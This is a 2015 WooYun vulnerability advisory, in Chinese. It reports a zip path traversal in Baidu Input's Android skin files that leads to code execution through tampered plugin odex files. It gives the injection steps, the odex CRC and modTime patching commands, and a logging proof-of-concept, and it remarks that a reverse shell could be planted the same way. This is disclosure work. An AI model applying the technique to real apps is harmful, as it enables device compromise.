漏洞概要
关注数(24)
关注此漏洞
漏洞标题:百度输入安卓客户端代码感染漏洞分析(俗称寄生兽)
相关厂商:百度
提交时间:2015-07-01 13:00
修复时间:2015-09-30 14:56
公开时间:2015-09-30 14:56
漏洞类型:远程代码执行
危害等级:高
自评Rank:10
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情
披露状态:
2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-02: 厂商已经确认,细节仅向厂商公开
2015-07-05: 细节向第三方安全合作伙伴开放
2015-08-26: 细节向核心白帽子及相关领域专家公开
2015-09-05: 细节向普通白帽子公开
2015-09-15: 细节向实习白帽子公开
2015-09-30: 细节向公众公开
简要描述:
百度输入安卓客户端代码感染漏洞
详细说明:
输入法皮肤解压缩无限制插入 ../ 即可拥有输入法的写权限
下载 bds 或者 bdt 文件,本质是压缩文件
将会被解压到 land 目录下
制作一个包含../的压缩包来验证猜想 (mac下使用 betterzip 完成)
»
接下来要将写权限转换成执行权限.
替换插件 dex/jar/odex/so 等文件.
定位插入点方法:
- 静态检索反编译代码中DexClassLoader 构造方法
- hook构造方法DexClassLoader (String dexPath, String optimizedDirectory, String libraryPath, ClassLoader parent)
工具中心一些操作(扫一扫)触发了这个挂钩
注入操作1:注入 com.baidu.input.plugin.kit.qrcode-1.dex
- smali注入反弹 shell 代码
- path crc and modwhen
产生问题:将 odex 转成 smali 后注入代码再转换成 dex...而不是 odex 了.
» file inject.dex
inject.dex: Dalvik dex file version 035
» file com.baidu.input.plugin.kit.qrcode-1.dex
com.baidu.input.plugin.kit.qrcode-1.dex: Dalvik dex file (optimized for host) version 036
patch 操作:
» python patch_odex.py patch com.baidu.input.plugin.kit.qrcode-1.dex dex.apk patch.dex
Original modTime: 0x46e152ce
Original CRC: 0x15a84323
Apk ModTime: 0x44f598ba
APK classes CRC: 0xf022cd8c
» python patch_odex.py print patched.odex
modTime: 0x44f598ba
crc: 0xf022cd8c
dalvik build ver: 0x1b
生成 poc 操作:注入一段 log 代码到com.baidu.idl.barcode.Barcode
.class public final Lcom/baidu/idl/barcode/Barcode;
.super Ljava/lang/Object;
# direct methods
.method static constructor <clinit>()V
.locals 3
:try_start_0
const-string v0, "rabjni_V2_1_0"
const-string v2, "Inject"
invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
将的语言包加入 poc 文件
最后效果...当然也可以注入个弹 shell 的...也做个视频?
07-01 12:28:02.248 24160-24160/? E/Inject﹕ rabjni_V2_1_0
漏洞证明:
修复方案:
1.encode ../
2.check plugins ,such as so/odex...
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:7
确认时间:2015-07-02 14:54
厂商回复:
十分感谢
最新状态:
暂无